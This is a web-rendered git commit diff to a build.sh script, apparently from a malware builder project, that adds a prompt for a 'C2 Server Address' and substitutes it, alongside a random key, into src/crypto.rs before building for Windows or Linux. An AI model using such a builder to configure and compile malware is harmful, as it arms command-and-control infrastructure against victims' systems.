fix: build script now replaces c2 server address
This commit is contained in:
parent
7aca615fad
commit
79953b0ed5
1 changed files with 2 additions and 0 deletions
2
build.sh
2
build.sh
|
@ -6,6 +6,8 @@ cp src/crypto.rs src/crypto.rs.bak
|
||||||
echo "[i] Replacing key with random data."
|
echo "[i] Replacing key with random data."
|
||||||
export KEY="$(tr -dc A-Za-z0-9 </dev/urandom | head -c 32)"
|
export KEY="$(tr -dc A-Za-z0-9 </dev/urandom | head -c 32)"
|
||||||
sed -i -e "s/keyhereshouldbereplacedbybuilder/$KEY/g" src/crypto.rs
|
sed -i -e "s/keyhereshouldbereplacedbybuilder/$KEY/g" src/crypto.rs
|
||||||
|
read -p "C2 Server Address: " C2ADDR
|
||||||
|
sed -i -e "s/c2serveraddr/$C2ADDR/g" src/crypto.rs
|
||||||
echo "[!] Source ready."
|
echo "[!] Source ready."
|
||||||
PS3='Please select option:'
|
PS3='Please select option:'
|
||||||
options=("Windows" "Linux" "Both" "Quit")
|
options=("Windows" "Linux" "Both" "Quit")
|
||||||
|
|
Loading…
Reference in a new issue